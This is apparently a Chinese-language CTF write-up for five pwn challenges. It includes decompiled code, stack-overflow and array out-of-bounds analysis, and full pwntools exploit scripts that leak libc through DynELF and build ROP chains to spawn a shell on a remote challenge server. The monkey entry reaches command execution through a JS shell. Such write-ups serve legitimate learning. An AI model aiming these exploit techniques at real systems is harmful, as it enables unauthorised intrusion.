0X00 pwn-100
下载文件,只开启了NX保护。
反编译一下,main函数调用了sub_40068E()
函数,然后sub_40068E()
函数调用了sub_40063D
函数,第一个参数为v1,第二个参数为200.
int sub_40068E()
{
char v1; // [rsp+0h] [rbp-40h]
sub_40063D((__int64)&v1, 200);
return puts("bye~");
}
__int64 __fastcall sub_40063D(__int64 a1, signed int a2)
{
__int64 result; // rax
unsigned int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i >= a2 )
break;
read(0, (void *)((signed int)i + a1), 1uLL);
}
return result;
}
在这v1位于rbp-40h
处,然后在第二个函数中,对v1进行输入,逐个字符读取,共读取200个字符,造成了溢出。
在程序中没有找到可利用的system函数和/bin/sh
字符串,于是我们可以利用DynELF模块来进行泄露。
DynELF的基本利用模板为:
p = process('./xxx')
def leak(address):
#各种预处理
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
#各种处理
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or '').encode('hex')))
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup('system', 'libc') #在libc文件中搜索system函数的地址
可以借助该模块找到程序使用的libc文件,然后获取system函数,由于不能获取字符串的地址,我们可以利用vmmap在程序中找一个可读可写的地方读入/bin/sh
字符串。
exp:
from pwn import *
context.log_level = 'debug'
io = remote('220.249.52.134',58720)
# io = process('../pwn100')
elf = ELF('../pwn100')
main = 0x0400550
puts_plt = elf.plt['puts']
read_plt = elf.plt['read']
rdi = 0x400763
gadget1 = 0x40075A
gadget2 = 0x400740
str_addr = 0x601000
def leak(address):
payload = "a" * 0x48
payload += p64(rdi)
payload += p64(address)
payload += p64(puts_plt)
payload += p64(main)
payload = payload.ljust(200,"a")
io.send(payload)
io.recvuntil("bye~\n")
up = ""
content = ""
count = 0
while True:
c = io.recv(numb = 1, timeout = 0.5)
count += 1
if up == '\n' and c == "":
content = content[:-1] + '\x00'
break
else:
content += c
up = c
content = content[:4]
return content
d = DynELF(leak, elf=elf)
systemAddress = d.lookup('system', 'libc')
getsAddress = d.lookup('gets', 'libc')
print(systemAddress)
payload = 'a' * 0x48 + p64(rdi) + p64(str_addr) + p64(getsAddress) + p64(main)
payload = payload.ljust(200,"a")
io.send(payload)
io.sendline('/bin/sh\x00')
payload = 'a' * 0x48 + p64(rdi) + p64(str_addr) + p64(systemAddress) + 'deadbeef'
payload = payload.ljust(200,"a")
io.sendline(payload)
io.interactive()
0x01 monkey
反编译一下,出来了好多东西,,
直接运行一下程序,显示’js>’,结合程序名字,猜测可以运行js代码。
直接nc连接,输入os.system('ls')
,然后os.system('cat flag')
即可。
0x02 stack2
开启了NX和canary的32位程序。
反编译一下查看源码,先输入要输入的数字的数量,然后输入要输入的数字。
之后有几个选项:
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
可以发现输入3修改数字以后进行输入时,没有对数组边界进行判断,可能会造成数组的越界修改,然后还找到了名为hackhere()
的后门函数,可以修改函数的返回地址返回到hackhere()
处,获取shell。
于是接下来我们要寻找保存数字的数组的首地址,然后才能确定返回地址的位置。
根据数组初赋值处的汇编代码,0x080486B1处,eax=&(ebp+v7)
,栈地址压栈(指针入栈),只读字符串"%d"入栈,输入的数会由指针指向,*(ebp+v7)
就是我们的输入,然后&(ebp+v7)
赋值给eax寄存器,eax又赋值给ecx,然后mov [eax], cl
又将数组的地址存入eax中。
也就是说在这,eax存的就是数组的首地址,那么我们找到main函数返回时的地址,相减就得到了偏移量。
.text:080486AE sub esp, 8
.text:080486B1 lea eax, [ebp+v7]
.text:080486B7 push eax
.text:080486B8 push offset aD ; "%d"
.text:080486BD call ___isoc99_scanf
.text:080486C2 add esp, 10h
.text:080486C5 mov eax, [ebp+v7]
.text:080486CB mov ecx, eax
.text:080486CD lea edx, [ebp+v13]
.text:080486D0 mov eax, [ebp+i]
.text:080486D3 add eax, edx
.text:080486D5 mov [eax], cl
使用gdb调试一下。
找到数组首地址。
找到返回时的esp,ret语句时栈顶一定是返回地址。
偏移量:0xffffce3c - 0xffffcdb8 = 0x84
。
写出exp。
本地打通了,远程显示:sh: 1: /bin/bash: not found。
可以找一下字符串’sh’同样也可以。
exp:
# -*- coding:utf-8 -*-
from pwn import *
io = remote('220.249.52.134',58301)
# io = process('../stack2')
def modify(addr, num):
io.sendlineafter('5. exit','3')
io.sendlineafter('which number to change:',str(addr))
io.sendlineafter('new number:',str(num))
io.sendlineafter('How many numbers you have:','1')
io.sendlineafter('Give me your numbers','1')
modify(0x84,0x50)
modify(0x85,0x84)
modify(0x86,0x04)
modify(0x87,0x08)
modify(0x8C,0x87)
modify(0x8D,0x89)
modify(0x8E,0x04)
modify(0x8F,0x08)
io.sendlineafter('5. exit','5')
io.interactive()
0x03 pwn-200
这题与pwn-100类似,都是利用DynELF模块来找libc。
read函数处存在栈溢出。
ssize_t sub_8048484()
{
char buf; // [esp+1Ch] [ebp-6Ch]
setbuf(stdin, &buf);
return read(0, &buf, 0x100u);
}
利用DynELF模块找到libc后,返回程序的start处中期程序恢复帧栈。
最后调用两个函数并含有参数,所以需要调整栈平衡,read有三个参数,所以需要三次pop,可以利用ROPgadget查找。
exp:
from pwn import *
# context.log_level = 'debug'
io = remote('220.249.52.134',32400)
# io = process('../pwn200')
elf = ELF('../pwn200')
main = 0x080484BE
vul_addr = 0x08048484
write_plt = elf.plt['write']
read_plt = elf.plt['read']
bss = 0x0804A020
ret = 0x0804856c
start_addr = 0x080483D0
def leak(address):
payload = 'a' * (0x6c + 4)
payload += p32(write_plt)
payload += p32(vul_addr)
payload += p32(1)
payload += p32(address)
payload += p32(4)
io.send(payload)
data = io.recv(4)
return data
io.recvline()
d = DynELF(leak, elf=elf)
systemAddress = d.lookup('system', 'libc')
print(hex(systemAddress))
payload = 'a' * (0x6c + 4) + p32(start_addr)
io.sendline(payload)
io.recv()
payload = 'a' * (0x6c + 4) + p32(read_plt) + p32(ret)+ p32(1) + p32(bss) + p32(8) + p32(systemAddress) + p32(0) + p32(bss)
io.sendline(payload)
io.sendline('/bin/sh')
io.interactive()
0x04 welpwn
只开启了NX保护。
buf可以读入0x400的空间,但是没有造成溢出。
将buf的地址作为参数传入echo函数,然后逐字节赋值到s2中。s2只有0x10的空间,但是buf最多可以读入0x400的内容,显然可以造成溢出。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-400h]
write(1, "Welcome to RCTF\n", 0x10uLL);
fflush(_bss_start);
read(0, &buf, 0x400uLL);
echo((__int64)&buf);
return 0;
}
int __fastcall echo(__int64 a1)
{
char s2[16]; // [rsp+10h] [rbp-10h]
for ( i = 0; *(_BYTE *)(i + a1); ++i )
s2[i] = *(_BYTE *)(i + a1);
s2[i] = 0;
if ( !strcmp("ROIS", s2) )
{
printf("RCTF{Welcome}", s2);
puts(" is not flag");
}
return printf("%s", s2);
}
但是在赋值给s2时的for循环处,条件为*(_BYTE *)(i + a1)
,也就是说不能出现\x00
,否则终止读入。而一般的地址末尾都会有\x00
,而echo的函数栈处填充的junk字符为0x10个,于是我们可以找一个4个pop的gadget,就可以正常执行我们的rop链了。
|
---|
|
|
|
|
|
|
|
|
|
利用DynELF模块来找libc(第几个了都。。),然后retcsu即可。
exp:
from pwn import *
# context.log_level = 'debug'
io = remote('220.249.52.134',36043)
# io = process('../wel')
elf = ELF('../wel')
start = 0x400630
pop = 0x40089c
rdi = 0x4008a3
rop1 = 0x40089A
rop2 = 0x400880
puts_plt = elf.plt["puts"]
read_got = elf.got['read']
write_got = elf.got['write']
bss = elf.bss()
def leak(address):
io.recv(1024)
payload = 'A' * 24 + p64(pop) + p64(rop1) + p64(0) + p64(1) + p64(write_got)
payload += p64(8) + p64(address) + p64(1)
payload += p64(rop2) + 'A'*56 + p64(start)
payload = payload.ljust(1024,'A')
io.send(payload)
data = io.recv(8)
print "%#x => %s" % (address,(data or '').encode('hex'))
return data
d = DynELF(leak, elf=elf)
systemAddress = d.lookup('system', 'libc')
getsAddress = d.lookup('gets', 'libc')
print(hex(systemAddress))
print(hex(getsAddress))
io.recv(1024)
payload = 'A' * 24 + p64(pop) + p64(rop1) + p64(0) + p64(1) + p64(read_got) + p64(8) + p64(bss) + p64(0)
payload += p64(rop2) + 'A'*56 + p64(rdi) + p64(bss) + p64(systemAddress) + 'A' * 8
payload = payload.ljust(1024,'A')
io.send(payload)
io.send('/bin/sh')
io.interactive()